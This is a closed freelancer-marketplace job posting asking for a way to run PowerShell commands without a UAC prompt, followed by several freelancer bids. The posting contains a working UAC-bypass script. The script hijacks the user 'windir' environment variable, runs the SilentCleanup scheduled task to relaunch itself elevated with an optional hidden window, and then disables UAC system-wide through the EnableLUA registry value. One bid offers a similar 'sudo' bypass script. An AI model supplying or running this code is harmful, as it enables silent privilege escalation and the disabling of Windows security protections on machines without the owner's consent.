Encerrado

Bypass UAC to run powershell command

I need to be able to run a powershell command without UAC prompt.

This code was working however it now shows an error.

if((([[login to view URL]]::GetCurrent()).groups -match "S-1-5-32-544")) {

#Payload goes here

#It'll run as Administrator

HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force

#[login to view URL]

} else {

$registryPath = "HKCU:\Environment"

$Name = "windir"

#Use for hidden window

$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"

#Use for interactive window

$Value = "powershell -ExecutionPolicy bypass -Command `"& `'$PSCommandPath`'`";#"

Set-ItemProperty -Path $registryPath -Name $name -Value $Value

#Depending on the performance of the machine, some sleep time may be required before or after schtasks

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null

Remove-ItemProperty -Path $registryPath -Name $name

}

Can use either:

python

cmd

powershell

Habilidades: Python, Área de trabalho do Windows, Arquitetura de software, Powershell, Shell Script

Veja mais: run batch command, vbs run remote command, button run bat command, run remote command, run ssh command vb6, vbscript run powershell file, vba outlook 2007 run external command, visual basic net run remote command return output, visual basic run remote command, button run powershell script excel, create excel macro run powershell script, bypass uac, bypass uac method, bypass uac vb, net bypass uac, powershell command dos windows, run script mysql cmd, run telnet command vb net, powershell script run windows command script

Acerca do Empregador:
( 14 comentários ) Calliope, Australia

ID do Projeto: #21016456

7 freelancers estão ofertando em média $34 para esse trabalho

dany3j

Hi there! Dear colleague. I can help you with this powershell project. I would like to know more about it. Contact me by Chat to get more information. My Best Regards

$50 AUD in 7 dias
(41 Comentários)
4.9
goodwork20k

I am good in powershell scripting along with automation and development, please let me know if you are good to award this project to me

$30 AUD in 3 dias
(22 Comentários)
4.8
notgreen

Hello if you want to run any application as administrator right without uac ,use my "sudo" powershell script. ( similar like your script ). D:\scripts>type [login to view URL] function sudo { #$command = "po Mais

$30 AUD em 1 dia
(11 Comentários)
3.6
Saimi786

Hi I can do it for you......

$29 AUD em 1 dia
(6 Comentários)
2.9
krishsathish02

Hi Client , My name is Krish. I’m a Senior Software Developer & Freelance Web & Automation developer with 5+ years of experiences with Master degree holder and expertise in POWERSHELL, PYTHON, PHP, HTML 5, CSS3, J Mais

$16 AUD in 2 dias
(1 Comentário)
0.4
BrianNovius

Hello, I would like to inform you that there's currently no UAC bypass available for free, we might be able to find a solution for what you want to accomplish by using this UAC bypass so that you not need it anymore. Mais

$56 AUD in 3 dias
(0 Comentários)
0.0
sameeraucd

I would like to work with your project if you could give me an [login to view URL] to work with you soon Thank you.

$30 AUD in 7 dias
(0 Comentários)
0.0